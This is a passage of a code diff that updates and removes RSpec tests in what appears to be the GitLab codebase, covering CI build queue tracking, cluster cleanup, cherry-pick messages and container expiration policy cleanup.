- expect(Ci::Build.pending.unstarted.count).to eq 3
+ result = described_class.new(specific_runner).execute
- result = described_class.new(specific_runner).execute
-
- expect(result).not_to be_valid
- expect(result.build).to be_nil
- end
- end
-
- context 'when feature is disabled' do
- before do
- stub_feature_flags(gitlab_ci_builds_queue_limit: false)
- end
-
- it 'returns a valid result' do
- expect(Ci::Build.pending.unstarted.count).to eq 3
-
- result = described_class.new(specific_runner).execute
-
- expect(result).to be_valid
- expect(result.build).to eq pending_job_3
- end
+ expect(result).not_to be_valid
+ expect(result.build).to be_nil
end
end
diff --git a/spec/services/ci/retry_build_service_spec.rb b/spec/services/ci/retry_build_service_spec.rb
index 86bda868625..c71bec31984 100644
--- a/spec/services/ci/retry_build_service_spec.rb
+++ b/spec/services/ci/retry_build_service_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe Ci::RetryBuildService do
job_artifacts_metadata job_artifacts_trace job_artifacts_junit
job_artifacts_sast job_artifacts_secret_detection job_artifacts_dependency_scanning
job_artifacts_container_scanning job_artifacts_dast
- job_artifacts_license_management job_artifacts_license_scanning
+ job_artifacts_license_scanning
job_artifacts_performance job_artifacts_browser_performance job_artifacts_load_performance
job_artifacts_lsif job_artifacts_terraform job_artifacts_cluster_applications
job_artifacts_codequality job_artifacts_metrics scheduled_at
@@ -59,13 +59,14 @@ RSpec.describe Ci::RetryBuildService do
metadata runner_session trace_chunks upstream_pipeline_id
artifacts_file artifacts_metadata artifacts_size commands
resource resource_group_id processed security_scans author
- pipeline_id report_results pending_state pages_deployments].freeze
+ pipeline_id report_results pending_state pages_deployments
+ queuing_entry runtime_metadata].freeze
shared_examples 'build duplication' do
let_it_be(:another_pipeline) { create(:ci_empty_pipeline, project: project) }
let_it_be(:build) do
- create(:ci_build, :failed, :expired, :erased, :queued, :coverage, :tags,
+ create(:ci_build, :failed, :picked, :expired, :erased, :queued, :coverage, :tags,
:allowed_to_fail, :on_tag, :triggered, :teardown_environment, :resource_group,
description: 'my-job', stage: 'test', stage_id: stage.id,
pipeline: pipeline, auto_canceled_by: another_pipeline,
@@ -73,9 +74,6 @@ RSpec.describe Ci::RetryBuildService do
end
before_all do
- # Test correctly behaviour of deprecated artifact because it can be still in use
- stub_feature_flags(drop_license_management_artifact: false)
-
# Make sure that build has both `stage_id` and `stage` because FactoryBot
# can reset one of the fields when assigning another. We plan to deprecate
# and remove legacy `stage` column in the future.
diff --git a/spec/services/ci/update_build_queue_service_spec.rb b/spec/services/ci/update_build_queue_service_spec.rb
index 2d9f80a249d..44d7809b85f 100644
--- a/spec/services/ci/update_build_queue_service_spec.rb
+++ b/spec/services/ci/update_build_queue_service_spec.rb
@@ -4,154 +4,344 @@ require 'spec_helper'
RSpec.describe Ci::UpdateBuildQueueService do
let(:project) { create(:project, :repository) }
- let(:build) { create(:ci_build, pipeline: pipeline) }
let(:pipeline) { create(:ci_pipeline, project: project) }
+ let(:build) { create(:ci_build, pipeline: pipeline) }
+
+ describe 'pending builds queue push / pop' do
+ describe '#push' do
+ let(:transition) { double('transition') }
+
+ before do
+ allow(transition).to receive(:to).and_return('pending')
+ allow(transition).to receive(:within_transaction).and_yield
+ end
+
+ context 'when pending build can be created' do
+ it 'creates a new pending build in transaction' do
+ queued = subject.push(build, transition)
+
+ expect(queued).to eq build.id
+ end
+
+ it 'increments queue push metric' do
+ metrics = spy('metrics')
+
+ described_class.new(metrics).push(build, transition)
+
+ expect(metrics)
+ .to have_received(:increment_queue_operation)
+ .with(:build_queue_push)
+ end
+ end
- shared_examples 'refreshes runner' do
- it 'ticks runner queue value' do
- expect { subject.execute(build) }.to change { runner.ensure_runner_queue_value }
+ context 'when invalid transition is detected' do
+ it 'raises an error' do
+ allow(transition).to receive(:to).and_return('created')
+
+ expect { subject.push(build, transition) }
+ .to raise_error(described_class::InvalidQueueTransition)
+ end
+ end
+
+ context 'when duplicate entry exists' do
+ before do
+ ::Ci::PendingBuild.create!(build: build, project: project)
+ end
+
+ it 'does nothing and returns build id' do
+ queued = subject.push(build, transition)
+
+ expect(queued).to eq build.id
+ end
+ end
end
- end
- shared_examples 'does not refresh runner' do
- it 'ticks runner queue value' do
- expect { subject.execute(build) }.not_to change { runner.ensure_runner_queue_value }
+ describe '#pop' do
+ let(:transition) { double('transition') }
+
+ before do
+ allow(transition).to receive(:from).and_return('pending')
+ allow(transition).to receive(:within_transaction).and_yield
+ end
+
+ context 'when pending build exists' do
+ before do
+ Ci::PendingBuild.create!(build: build, project: project)
+ end
+
+ it 'removes pending build in a transaction' do
+ dequeued = subject.pop(build, transition)
+
+ expect(dequeued).to eq build.id
+ end
+
+ it 'increments queue pop metric' do
+ metrics = spy('metrics')
+
+ described_class.new(metrics).pop(build, transition)
+
+ expect(metrics)
+ .to have_received(:increment_queue_operation)
+ .with(:build_queue_pop)
+ end
+ end
+
+ context 'when pending build does not exist' do
+ it 'does nothing if there is no pending build to remove' do
+ dequeued = subject.pop(build, transition)
+
+ expect(dequeued).to be_nil
+ end
+ end
+
+ context 'when invalid transition is detected' do
+ it 'raises an error' do
+ allow(transition).to receive(:from).and_return('created')
+
+ expect { subject.pop(build, transition) }
+ .to raise_error(described_class::InvalidQueueTransition)
+ end
+ end
end
end
- shared_examples 'matching build' do
- context 'when there is a online runner that can pick build' do
+ describe 'shared runner builds tracking' do
+ let(:runner) { create(:ci_runner, :instance_type) }
+ let(:build) { create(:ci_build, runner: runner, pipeline: pipeline) }
+
+ describe '#track' do
+ let(:transition) { double('transition') }
+
before do
- runner.update!(contacted_at: 30.minutes.ago)
+ allow(transition).to receive(:to).and_return('running')
+ allow(transition).to receive(:within_transaction).and_yield
end
- it_behaves_like 'refreshes runner'
+ context 'when a shared runner build can be tracked' do
+ it 'creates a new shared runner build tracking entry' do
+ build_id = subject.track(build, transition)
+
+ expect(build_id).to eq build.id
+ end
+
+ it 'increments new shared runner build metric' do
+ metrics = spy('metrics')
- it 'avoids running redundant queries' do
- expect(Ci::Runner).not_to receive(:owned_or_instance_wide)
+ described_class.new(metrics).track(build, transition)
- subject.execute(build)
+ expect(metrics)
+ .to have_received(:increment_queue_operation)
+ .with(:shared_runner_build_new)
+ end
end
- context 'when feature flag ci_reduce_queries_when_ticking_runner_queue is disabled' do
+ context 'when invalid transition is detected' do
+ it 'raises an error' do
+ allow(transition).to receive(:to).and_return('pending')
+
+ expect { subject.track(build, transition) }
+ .to raise_error(described_class::InvalidQueueTransition)
+ end
+ end
+
+ context 'when duplicate entry exists' do
before do
- stub_feature_flags(ci_reduce_queries_when_ticking_runner_queue: false)
- stub_feature_flags(ci_runners_short_circuit_assignable_for: false)
+ ::Ci::RunningBuild.create!(
+ build: build, project: project, runner: runner, runner_type: runner.runner_type
+ )
end
- it 'runs redundant queries using `owned_or_instance_wide` scope' do
- expect(Ci::Runner).to receive(:owned_or_instance_wide).and_call_original
+ it 'does nothing and returns build id' do
+ build_id = subject.track(build, transition)
- subject.execute(build)
+ expect(build_id).to eq build.id
end
end
end
- end
- shared_examples 'mismatching tags' do
- context 'when there is no runner that can pick build due to tag mismatch' do
+ describe '#untrack' do
+ let(:transition) { double('transition') }
+
before do
- build.tag_list = [:docker]
+ allow(transition).to receive(:from).and_return('running')
+ allow(transition).to receive(:within_transaction).and_yield
end
- it_behaves_like 'does not refresh runner'
+ context 'when shared runner build tracking entry exists' do
+ before do
+ Ci::RunningBuild.create!(
+ build: build, project: project, runner: runner, runner_type: runner.runner_type
+ )
+ end
+
+ it 'removes shared runner build' do
+ build_id = subject.untrack(build, transition)
+
+ expect(build_id).to eq build.id
+ end
+
+ it 'increments shared runner build done metric' do
+ metrics = spy('metrics')
+
+ described_class.new(metrics).untrack(build, transition)
+
+ expect(metrics)
+ .to have_received(:increment_queue_operation)
+ .with(:shared_runner_build_done)
+ end
+ end
+
+ context 'when tracking entry does not exist' do
+ it 'does nothing if there is no tracking entry to remove' do
+ build_id = subject.untrack(build, transition)
+
+ expect(build_id).to be_nil
+ end
+ end
+
+ context 'when invalid transition is detected' do
+ it 'raises an error' do
+ allow(transition).to receive(:from).and_return('pending')
+
+ expect { subject.untrack(build, transition) }
+ .to raise_error(described_class::InvalidQueueTransition)
+ end
+ end
end
end
- shared_examples 'recent runner queue' do
- context 'when there is runner with expired cache' do
- before do
- runner.update!(contacted_at: Ci::Runner.recent_queue_deadline)
+ describe '#tick' do
+ shared_examples 'refreshes runner' do
+ it 'ticks runner queue value' do
+ expect { subject.tick(build) }.to change { runner.ensure_runner_queue_value }
end
+ end
- it_behaves_like 'does not refresh runner'
+ shared_examples 'does not refresh runner' do
+ it 'ticks runner queue value' do
+ expect { subject.tick(build) }.not_to change { runner.ensure_runner_queue_value }
+ end
end
- end
- context 'when updating specific runners' do
- let(:runner) { create(:ci_runner, :project, projects: [project]) }
+ shared_examples 'matching build' do
+ context 'when there is a online runner that can pick build' do
+ before do
+ runner.update!(contacted_at: 30.minutes.ago)
+ end
- it_behaves_like 'matching build'
- it_behaves_like 'mismatching tags'
- it_behaves_like 'recent runner queue'
+ it_behaves_like 'refreshes runner'
- context 'when the runner is assigned to another project' do
- let(:another_project) { create(:project) }
- let(:runner) { create(:ci_runner, :project, projects: [another_project]) }
+ it 'avoids running redundant queries' do
+ expect(Ci::Runner).not_to receive(:owned_or_instance_wide)
- it_behaves_like 'does not refresh runner'
+ subject.tick(build)
+ end
+ end
end
- end
- context 'when updating shared runners' do
- let(:runner) { create(:ci_runner, :instance) }
-
- it_behaves_like 'matching build'
- it_behaves_like 'mismatching tags'
- it_behaves_like 'recent runner queue'
+ shared_examples 'mismatching tags' do
+ context 'when there is no runner that can pick build due to tag mismatch' do
+ before do
+ build.tag_list = [:docker]
+ end
- context 'when there is no runner that can pick build due to being disabled on project' do
- before do
- build.project.shared_runners_enabled = false
+ it_behaves_like 'does not refresh runner'
end
+ end
- it_behaves_like 'does not refresh runner'
+ shared_examples 'recent runner queue' do
+ context 'when there is runner with expired cache' do
+ before do
+ runner.update!(contacted_at: Ci::Runner.recent_queue_deadline)
+ end
+
+ it_behaves_like 'does not refresh runner'
+ end
end
- end
- context 'when updating group runners' do
- let(:group) { create(:group) }
- let(:project) { create(:project, group: group) }
- let(:runner) { create(:ci_runner, :group, groups: [group]) }
+ context 'when updating specific runners' do
+ let(:runner) { create(:ci_runner, :project, projects: [project]) }
- it_behaves_like 'matching build'
- it_behaves_like 'mismatching tags'
- it_behaves_like 'recent runner queue'
+ it_behaves_like 'matching build'
+ it_behaves_like 'mismatching tags'
+ it_behaves_like 'recent runner queue'
- context 'when there is no runner that can pick build due to being disabled on project' do
- before do
- build.project.group_runners_enabled = false
- end
+ context 'when the runner is assigned to another project' do
+ let(:another_project) { create(:project) }
+ let(:runner) { create(:ci_runner, :project, projects: [another_project]) }
- it_behaves_like 'does not refresh runner'
+ it_behaves_like 'does not refresh runner'
+ end
end
- end
- context 'avoids N+1 queries', :request_store do
- let!(:build) { create(:ci_build, pipeline: pipeline, tag_list: %w[a b]) }
- let!(:project_runner) { create(:ci_runner, :project, :online, projects: [project], tag_list: %w[a b c]) }
+ context 'when updating shared runners' do
+ let(:runner) { create(:ci_runner, :instance) }
- context 'when ci_preload_runner_tags and ci_reduce_queries_when_ticking_runner_queue are enabled' do
- before do
- stub_feature_flags(
- ci_reduce_queries_when_ticking_runner_queue: true,
- ci_preload_runner_tags: true
- )
+ it_behaves_like 'matching build'
+ it_behaves_like 'mismatching tags'
+ it_behaves_like 'recent runner queue'
+
+ context 'when there is no runner that can pick build due to being disabled on project' do
+ before do
+ build.project.shared_runners_enabled = false
+ end
+
+ it_behaves_like 'does not refresh runner'
end
+ end
- it 'does execute the same amount of queries regardless of number of runners' do
- control_count = ActiveRecord::QueryRecorder.new { subject.execute(build) }.count
+ context 'when updating group runners' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, group: group) }
+ let(:runner) { create(:ci_runner, :group, groups: [group]) }
- create_list(:ci_runner, 10, :project, :online, projects: [project], tag_list: %w[b c d])
+ it_behaves_like 'matching build'
+ it_behaves_like 'mismatching tags'
+ it_behaves_like 'recent runner queue'
- expect { subject.execute(build) }.not_to exceed_all_query_limit(control_count)
+ context 'when there is no runner that can pick build due to being disabled on project' do
+ before do
+ build.project.group_runners_enabled = false
+ end
+
+ it_behaves_like 'does not refresh runner'
end
end
- context 'when ci_preload_runner_tags and ci_reduce_queries_when_ticking_runner_queue are disabled' do
- before do
- stub_feature_flags(
- ci_reduce_queries_when_ticking_runner_queue: false,
- ci_preload_runner_tags: false
- )
+ context 'avoids N+1 queries', :request_store do
+ let!(:build) { create(:ci_build, pipeline: pipeline, tag_list: %w[a b]) }
+ let!(:project_runner) { create(:ci_runner, :project, :online, projects: [project], tag_list: %w[a b c]) }
+
+ context 'when ci_preload_runner_tags is enabled' do
+ before do
+ stub_feature_flags(
+ ci_preload_runner_tags: true
+ )
+ end
+
+ it 'does execute the same amount of queries regardless of number of runners' do
+ control_count = ActiveRecord::QueryRecorder.new { subject.tick(build) }.count
+
+ create_list(:ci_runner, 10, :project, :online, projects: [project], tag_list: %w[b c d])
+
+ expect { subject.tick(build) }.not_to exceed_all_query_limit(control_count)
+ end
end
- it 'does execute more queries for more runners' do
- control_count = ActiveRecord::QueryRecorder.new { subject.execute(build) }.count
+ context 'when ci_preload_runner_tags are disabled' do
+ before do
+ stub_feature_flags(
+ ci_preload_runner_tags: false
+ )
+ end
+
+ it 'does execute more queries for more runners' do
+ control_count = ActiveRecord::QueryRecorder.new { subject.tick(build) }.count
- create_list(:ci_runner, 10, :project, :online, projects: [project], tag_list: %w[b c d])
+ create_list(:ci_runner, 10, :project, :online, projects: [project], tag_list: %w[b c d])
- expect { subject.execute(build) }.to exceed_all_query_limit(control_count)
+ expect { subject.tick(build) }.to exceed_all_query_limit(control_count)
+ end
end
end
end
diff --git a/spec/services/ci/update_build_state_service_spec.rb b/spec/services/ci/update_build_state_service_spec.rb
index 63190cc5d49..5bb3843da8f 100644
--- a/spec/services/ci/update_build_state_service_spec.rb
+++ b/spec/services/ci/update_build_state_service_spec.rb
@@ -3,8 +3,9 @@
require 'spec_helper'
RSpec.describe Ci::UpdateBuildStateService do
- let(:project) { create(:project) }
- let(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
let(:build) { create(:ci_build, :running, pipeline: pipeline) }
let(:metrics) { spy('metrics') }
@@ -14,6 +15,24 @@ RSpec.describe Ci::UpdateBuildStateService do
stub_feature_flags(ci_enable_live_trace: true)
end
+ context 'when build has unknown failure reason' do
+ let(:params) do
+ {
+ output: { checksum: 'crc32:12345678', bytesize: 123 },
+ state: 'failed',
+ failure_reason: 'no idea here',
+ exit_code: 42
+ }
+ end
+
+ it 'updates a build status' do
+ result = subject.execute
+
+ expect(build).to be_failed
+ expect(result.status).to eq 200
+ end
+ end
+
context 'when build does not have checksum' do
context 'when state has changed' do
let(:params) { { state: 'success' } }
@@ -47,25 +66,6 @@ RSpec.describe Ci::UpdateBuildStateService do
end
end
- context 'when request payload carries a trace' do
- let(:params) { { state: 'success', trace: 'overwritten' } }
-
- it 'overwrites a trace' do
- result = subject.execute
-
- expect(build.trace.raw).to eq 'overwritten'
- expect(result.status).to eq 200
- end
-
- it 'updates overwrite operation metric' do
- execute_with_stubbed_metrics!
-
- expect(metrics)
- .to have_received(:increment_trace_operation)
- .with(operation: :overwrite)
- end
- end
-
context 'when state is unknown' do
let(:params) { { state: 'unknown' } }
diff --git a/spec/services/clusters/applications/create_service_spec.rb b/spec/services/clusters/applications/create_service_spec.rb
index f3b420510a6..eb907377ca8 100644
--- a/spec/services/clusters/applications/create_service_spec.rb
+++ b/spec/services/clusters/applications/create_service_spec.rb
@@ -46,8 +46,7 @@ RSpec.describe Clusters::Applications::CreateService do
context 'ingress application' do
let(:params) do
{
- application: 'ingress',
- modsecurity_enabled: true
+ application: 'ingress'
}
end
@@ -64,10 +63,6 @@ RSpec.describe Clusters::Applications::CreateService do
cluster.reload
end.to change(cluster, :application_ingress)
end
-
- it 'sets modsecurity_enabled' do
- expect(subject.modsecurity_enabled).to eq(true)
- end
end
context 'cert manager application' do
diff --git a/spec/services/clusters/cleanup/app_service_spec.rb b/spec/services/clusters/cleanup/app_service_spec.rb
deleted file mode 100644
index ea1194d2100..00000000000
--- a/spec/services/clusters/cleanup/app_service_spec.rb
+++ /dev/null
@@ -1,118 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Cleanup::AppService do
- describe '#execute' do
- let!(:cluster) { create(:cluster, :project, :cleanup_uninstalling_applications, provider_type: :gcp) }
- let(:service) { described_class.new(cluster) }
- let(:logger) { service.send(:logger) }
- let(:log_meta) do
- {
- service: described_class.name,
- cluster_id: cluster.id,
- execution_count: 0
- }
- end
-
- subject { service.execute }
-
- shared_examples 'does not reschedule itself' do
- it 'does not reschedule itself' do
- expect(Clusters::Cleanup::AppWorker).not_to receive(:perform_in)
- end
- end
-
- context 'when cluster has no applications available or transitioning applications' do
- it_behaves_like 'does not reschedule itself'
-
- it 'transitions cluster to cleanup_removing_project_namespaces' do
- expect { subject }
- .to change { cluster.reload.cleanup_status_name }
- .from(:cleanup_uninstalling_applications)
- .to(:cleanup_removing_project_namespaces)
- end
-
- it 'schedules Clusters::Cleanup::ProjectNamespaceWorker' do
- expect(Clusters::Cleanup::ProjectNamespaceWorker).to receive(:perform_async).with(cluster.id)
- subject
- end
-
- it 'logs all events' do
- expect(logger).to receive(:info)
- .with(log_meta.merge(event: :schedule_remove_project_namespaces))
-
- subject
- end
- end
-
- context 'when cluster has uninstallable applications' do
- shared_examples 'reschedules itself' do
- it 'reschedules itself' do
- expect(Clusters::Cleanup::AppWorker)
- .to receive(:perform_in)
- .with(1.minute, cluster.id, 1)
-
- subject
- end
- end
-
- context 'has applications with dependencies' do
- let!(:helm) { create(:clusters_applications_helm, :installed, cluster: cluster) }
- let!(:ingress) { create(:clusters_applications_ingress, :installed, cluster: cluster) }
- let!(:cert_manager) { create(:clusters_applications_cert_manager, :installed, cluster: cluster) }
- let!(:jupyter) { create(:clusters_applications_jupyter, :installed, cluster: cluster) }
-
- it_behaves_like 'reschedules itself'
-
- it 'only uninstalls apps that are not dependencies for other installed apps' do
- expect(Clusters::Applications::UninstallWorker)
- .to receive(:perform_async).with(helm.name, helm.id)
- .and_call_original
-
- expect(Clusters::Applications::UninstallWorker)
- .not_to receive(:perform_async).with(ingress.name, ingress.id)
-
- expect(Clusters::Applications::UninstallWorker)
- .to receive(:perform_async).with(cert_manager.name, cert_manager.id)
- .and_call_original
-
- expect(Clusters::Applications::UninstallWorker)
- .to receive(:perform_async).with(jupyter.name, jupyter.id)
- .and_call_original
-
- subject
- end
-
- it 'logs application uninstalls and next execution' do
- expect(logger).to receive(:info)
- .with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).exactly(3).times
- expect(logger).to receive(:info)
- .with(log_meta.merge(event: :scheduling_execution, next_execution: 1))
-
- subject
- end
-
- context 'cluster is not cleanup_uninstalling_applications' do
- let!(:cluster) { create(:cluster, :project, provider_type: :gcp) }
-
- it_behaves_like 'does not reschedule itself'
- end
- end
-
- context 'when applications are still uninstalling/scheduled/depending on others' do
- let!(:helm) { create(:clusters_applications_helm, :installed, cluster: cluster) }
- let!(:ingress) { create(:clusters_applications_ingress, :scheduled, cluster: cluster) }
- let!(:runner) { create(:clusters_applications_runner, :uninstalling, cluster: cluster) }
-
- it_behaves_like 'reschedules itself'
-
- it 'does not call the uninstallation service' do
- expect(Clusters::Applications::UninstallWorker).not_to receive(:new)
-
- subject
- end
- end
- end
- end
-end
diff --git a/spec/services/clusters/destroy_service_spec.rb b/spec/services/clusters/destroy_service_spec.rb
index 76d9cc34b5d..dc600c9e830 100644
--- a/spec/services/clusters/destroy_service_spec.rb
+++ b/spec/services/clusters/destroy_service_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe Clusters::DestroyService do
let(:params) { { cleanup: 'true' } }
before do
- allow(Clusters::Cleanup::AppWorker).to receive(:perform_async)
+ allow(Clusters::Cleanup::ProjectNamespaceWorker).to receive(:perform_async)
end
it 'does not destroy cluster' do
@@ -45,10 +45,10 @@ RSpec.describe Clusters::DestroyService do
expect(Clusters::Cluster.where(id: cluster.id).exists?).not_to be_falsey
end
- it 'transition cluster#cleanup_status from cleanup_not_started to cleanup_uninstalling_applications' do
+ it 'transition cluster#cleanup_status from cleanup_not_started to cleanup_removing_project_namespaces' do
expect { subject }.to change { cluster.cleanup_status_name }
.from(:cleanup_not_started)
- .to(:cleanup_uninstalling_applications)
+ .to(:cleanup_removing_project_namespaces)
end
end
end
diff --git a/spec/services/clusters/gcp/finalize_creation_service_spec.rb b/spec/services/clusters/gcp/finalize_creation_service_spec.rb
index d8c95a70bd0..9c553d0eec2 100644
--- a/spec/services/clusters/gcp/finalize_creation_service_spec.rb
+++ b/spec/services/clusters/gcp/finalize_creation_service_spec.rb
@@ -11,8 +11,6 @@ RSpec.describe Clusters::Gcp::FinalizeCreationService, '#execute' do
let(:platform) { cluster.platform }
let(:endpoint) { '111.111.111.111' }
let(:api_url) { 'https://' + endpoint }
- let(:username) { 'sample-username' }
- let(:password) { 'sample-password' }
let(:secret_name) { 'gitlab-token' }
let(:token) { 'sample-token' }
let(:namespace) { "#{cluster.project.path}-#{cluster.project.id}" }
@@ -34,8 +32,6 @@ RSpec.describe Clusters::Gcp::FinalizeCreationService, '#execute' do
expect(provider.endpoint).to eq(endpoint)
expect(platform.api_url).to eq(api_url)
expect(platform.ca_cert).to eq(Base64.decode64(load_sample_cert).strip)
- expect(platform.username).to eq(username)
- expect(platform.password).to eq(password)
expect(platform.token).to eq(token)
end
end
@@ -83,7 +79,7 @@ RSpec.describe Clusters::Gcp::FinalizeCreationService, '#execute' do
shared_context 'kubernetes information successfully fetched' do
before do
stub_cloud_platform_get_zone_cluster(
- provider.gcp_project_id, provider.zone, cluster.name, { endpoint: endpoint, username: username, password: password }
+ provider.gcp_project_id, provider.zone, cluster.name, { endpoint: endpoint }
)
stub_kubeclient_discover(api_url)
diff --git a/spec/services/clusters/parse_cluster_applications_artifact_service_spec.rb b/spec/services/clusters/parse_cluster_applications_artifact_service_spec.rb
deleted file mode 100644
index 1f6ad218927..00000000000
--- a/spec/services/clusters/parse_cluster_applications_artifact_service_spec.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::ParseClusterApplicationsArtifactService do
- let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user) }
-
- before do
- project.add_maintainer(user)
- end
-
- describe 'RELEASE_NAMES' do
- it 'is included in Cluster application names', :aggregate_failures do
- described_class::RELEASE_NAMES.each do |release_name|
- expect(Clusters::Cluster::APPLICATIONS).to include(release_name)
- end
- end
- end
-
- describe '.new' do
- let(:job) { build(:ci_build) }
-
- it 'sets the project and current user', :aggregate_failures do
- service = described_class.new(job, user)
-
- expect(service.project).to eq(job.project)
- expect(service.current_user).to eq(user)
- end
- end
-
- describe '#execute' do
- let_it_be(:cluster, reload: true) { create(:cluster, projects: [project]) }
- let_it_be(:deployment, reload: true) { create(:deployment, cluster: cluster) }
-
- let(:job) { deployment.deployable }
- let(:artifact) { create(:ci_job_artifact, :cluster_applications, job: job) }
-
- it 'calls Gitlab::Kubernetes::Helm::Parsers::ListV2' do
- expect(Gitlab::Kubernetes::Helm::Parsers::ListV2).to receive(:new).and_call_original
-
- result = described_class.new(job, user).execute(artifact)
-
- expect(result[:status]).to eq(:success)
- end
-
- context 'artifact is not of cluster_applications type' do
- let(:artifact) { create(:ci_job_artifact, :archive) }
- let(:job) { artifact.job }
-
- it 'raise ArgumentError' do
- expect do
- described_class.new(job, user).execute(artifact)
- end.to raise_error(ArgumentError, 'Artifact is not cluster_applications file type')
- end
- end
-
- context 'artifact exceeds acceptable size' do
- it 'returns an error' do
- stub_const("#{described_class}::MAX_ACCEPTABLE_ARTIFACT_SIZE", 1.byte)
-
- result = described_class.new(job, user).execute(artifact)
-
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('Cluster_applications artifact too big. Maximum allowable size: 1 Byte')
- end
- end
-
- context 'job has no deployment' do
- let(:job) { build(:ci_build) }
-
- it 'returns an error' do
- result = described_class.new(job, user).execute(artifact)
-
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('No deployment found for this job')
- end
- end
-
- context 'job has no deployment cluster' do
- let(:deployment) { create(:deployment) }
- let(:job) { deployment.deployable }
-
- it 'returns an error' do
- result = described_class.new(job, user).execute(artifact)
-
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('No deployment cluster found for this job')
- end
- end
-
- context 'blob is empty' do
- let(:file) { fixture_file_upload(Rails.root.join("spec/fixtures/helm/helm_list_v2_empty_blob.json.gz")) }
- let(:artifact) { create(:ci_job_artifact, :cluster_applications, job: job, file: file) }
-
- it 'returns success' do
- result = described_class.new(job, user).execute(artifact)
-
- expect(result[:status]).to eq(:success)
- end
- end
-
- context 'job has deployment cluster' do
- context 'current user does not have access to deployment cluster' do
- let(:other_user) { create(:user) }
-
- it 'returns an error' do
- result = described_class.new(job, other_user).execute(artifact)
-
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('No deployment cluster found for this job')
- end
- end
-
- it 'does not affect unpermitted cluster applications' do
- expect(Clusters::ParseClusterApplicationsArtifactService::RELEASE_NAMES).to contain_exactly('cilium')
- end
-
- Clusters::ParseClusterApplicationsArtifactService::RELEASE_NAMES.each do |release_name|
- context release_name do
- include_examples 'parse cluster applications artifact', release_name
- end
- end
- end
- end
-end
diff --git a/spec/services/commits/cherry_pick_service_spec.rb b/spec/services/commits/cherry_pick_service_spec.rb
index 8fad5164b77..2565e17ac90 100644
--- a/spec/services/commits/cherry_pick_service_spec.rb
+++ b/spec/services/commits/cherry_pick_service_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Commits::CherryPickService do
repository.add_branch(user, branch_name, merge_base_sha)
end
- def cherry_pick(sha, branch_name)
+ def cherry_pick(sha, branch_name, message: nil)
commit = project.commit(sha)
described_class.new(
@@ -32,7 +32,8 @@ RSpec.describe Commits::CherryPickService do
user,
commit: commit,
start_branch: branch_name,
- branch_name: branch_name
+ branch_name: branch_name,
+ message: message
).execute
end
@@ -45,6 +46,14 @@ RSpec.describe Commits::CherryPickService do
head = repository.find_branch(branch_name).target
expect(head).not_to eq(merge_base_sha)
end
+
+ it 'supports a custom commit message' do
+ result = cherry_pick(merge_commit_sha, branch_name, message: 'foo')
+ branch = repository.find_branch(branch_name)
+
+ expect(result[:status]).to eq(:success)
+ expect(branch.dereferenced_target.message).to eq('foo')
+ end
end
it_behaves_like 'successful cherry-pick'
diff --git a/spec/services/container_expiration_policies/cleanup_service_spec.rb b/spec/services/container_expiration_policies/cleanup_service_spec.rb
index c6faae7449d..5f284b9dd8b 100644
--- a/spec/services/container_expiration_policies/cleanup_service_spec.rb
+++ b/spec/services/container_expiration_policies/cleanup_service_spec.rb
@@ -9,37 +9,68 @@ RSpec.describe ContainerExpirationPolicies::CleanupService do
let(:service) { described_class.new(repository) }
describe '#execute' do
+ let(:policy) { repository.project.container_expiration_policy }
+
subject { service.execute }
- shared_examples 'cleaning up a container repository' do
- context 'with a successful cleanup tags service execution' do
- let(:cleanup_tags_service_params) { project.container_expiration_policy.policy_params.merge('container_expiration_policy' => true) }
- let(:cleanup_tags_service) { instance_double(Projects::ContainerRepository::CleanupTagsService) }
+ before do
+ policy.update!(enabled: true)
+ policy.update_column(:next_run_at, 5.minutes.ago)
+ end
- it 'completely clean up the repository' do
- expect(Projects::ContainerRepository::CleanupTagsService)
- .to receive(:new).with(project, nil, cleanup_tags_service_params).and_return(cleanup_tags_service)
- expect(cleanup_tags_service).to receive(:execute).with(repository).and_return(status: :success)
+ context 'with a successful cleanup tags service execution' do
+ let(:cleanup_tags_service_params) { project.container_expiration_policy.policy_params.merge('container_expiration_policy' => true) }
+ let(:cleanup_tags_service) { instance_double(Projects::ContainerRepository::CleanupTagsService) }
- response = subject
+ it 'completely clean up the repository' do
+ expect(Projects::ContainerRepository::CleanupTagsService)
+ .to receive(:new).with(project, nil, cleanup_tags_service_params).and_return(cleanup_tags_service)
+ expect(cleanup_tags_service).to receive(:execute).with(repository).and_return(status: :success)
- aggregate_failures "checking the response and container repositories" do
- expect(response.success?).to eq(true)
- expect(response.payload).to include(cleanup_status: :finished, container_repository_id: repository.id)
- expect(ContainerRepository.waiting_for_cleanup.count).to eq(0)
- expect(repository.reload.cleanup_unscheduled?).to be_truthy
- expect(repository.expiration_policy_completed_at).not_to eq(nil)
- expect(repository.expiration_policy_started_at).not_to eq(nil)
- end
+ response = subject
+
+ aggregate_failures "checking the response and container repositories" do
+ expect(response.success?).to eq(true)
+ expect(response.payload).to include(cleanup_status: :finished, container_repository_id: repository.id)
+ expect(ContainerRepository.waiting_for_cleanup.count).to eq(0)
+ expect(repository.reload.cleanup_unscheduled?).to be_truthy
+ expect(repository.expiration_policy_completed_at).not_to eq(nil)
+ expect(repository.expiration_policy_started_at).not_to eq(nil)
end
end
+ end
- context 'without a successful cleanup tags service execution' do
- let(:cleanup_tags_service_response) { { status: :error, message: 'timeout' } }
+ context 'without a successful cleanup tags service execution' do
+ let(:cleanup_tags_service_response) { { status: :error, message: 'timeout' } }
- before do
- expect(Projects::ContainerRepository::CleanupTagsService)
- .to receive(:new).and_return(double(execute: cleanup_tags_service_response))
+ before do
+ expect(Projects::ContainerRepository::CleanupTagsService)
+ .to receive(:new).and_return(double(execute: cleanup_tags_service_response))
+ end
+
+ it 'partially clean up the repository' do
+ response = subject
+
